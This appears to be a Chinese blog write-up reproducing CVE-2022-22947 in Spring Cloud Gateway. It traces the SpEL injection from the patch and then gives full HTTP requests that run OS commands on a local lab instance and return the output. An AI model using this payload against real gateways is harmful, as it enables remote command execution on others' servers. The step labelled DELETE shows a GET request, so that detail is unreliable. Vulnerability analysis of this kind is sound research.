0 環境搭建
影響範圍:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
p牛的vulhub已經搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
也可以本地搭建
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然後idea開啟專案,再除錯或啟動
1 漏洞觸發點
首先找到spring-cloud-gateway的commit記錄,看看修改的地方,直接來到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
如下:
非常標準的spel表示式使用,程式碼在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜尋其呼叫位置
三個列舉呼叫都位於ShortcutConfigurable內部的列舉類ShortcutType中,且重寫了不同的normalize方法,繼續向上找ShortcutType#normalize方法的呼叫
最終都來到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties
方法中,並且傳入的時該類的properties成員變數,而normalizeProperties()方法的呼叫只出現在該類的父類AbstractBuilder.bind()中
繼續向上尋找bind方法的呼叫
發現org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
方法中不僅出現了bind方法呼叫,還出現了properties方法呼叫,跟進該properties方法可見對properties成員變數的設定,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties
方法中向下呼叫spel表示式時恰好需要的properties成員變數。
由此即可知道該漏洞的觸發可能來自於gatewayFilter的新增,並且從loadGatewayFilters方法繼續向上跟蹤呼叫如下:
RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route
也可以看到確實來自於filter的新增。
所以思路可以出來,由於新增filter時輸入了spel表示式,被當作properties進行解析,最終導致惡意表示式被執行,從而實現rce。
再從spring cloud gateway的文件進行檢視
文件的11.5中提到,使用POST請求/gateway/routes/id 並使用json格式的資料,可以建立一個route,並且從前面的格式中也可以看到,支援新增filter。
但沒有給出filters欄位中具體應該怎麼寫,但沒關係,我們從原始碼可以找到
org.springframework.cloud.gateway.filter.FilterDefinition
這個filter的定義類中,其成員變數如下
執行程式後,再mappings裡面可以看到/routes/{id}這個uri對應的方法
跟進該方法可以看到對filter給進的name有驗證
除錯模型下可以看到允許的name如下
這裡的每種name,實際上又對應了不同的GatewayFilterFactory
其中有個AddResponseHeaderGatewayFilterFactory可以向response hedder中寫入執行結果,因此恰好滿足回顯要求
根據這裡的getName和getValue可以知道還需要新增name和value欄位
2 構建poc
根據前面的資訊,可以逐步彙總出poc的樣子,
- 首先是POST /actuator/gateway/routes/{id}
- 然後新增json body,其中需要給出id和filters欄位
- 其中filters欄位需要給出name和args,而name的值需要設定為AddResponseHeader獲得回顯,args中需要name和value
最終poc如下
- post請求建立route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
}
}],
"uri": "http://test.com"
}
- POST請求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
由於前面使用的spel是ping百度的,所以需要等待一會,也可以換成其它命令,比如dir、ipconfig、whoami等
- GET請求/actuator/gateway/routes/test,觸發spel,並得到回顯
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
得到ping命令的輸出
- DELETE請求刪除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
3 總結
昨天在twitter上看到了這個rce,沒有太注意,昨天晚上看到通報,感覺這個洞還是有價值的,想著今天來複現應該差不多,結果P牛昨天就把docker上傳到vulhub了,y4er師傅也寫出了分析文章,跟不上啊= =
p牛和y4er師傅用的是spring自帶的類處理命令執行的返回位元組流,我用的是之前找到的jdk自帶方法,其實都差不多
參考
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/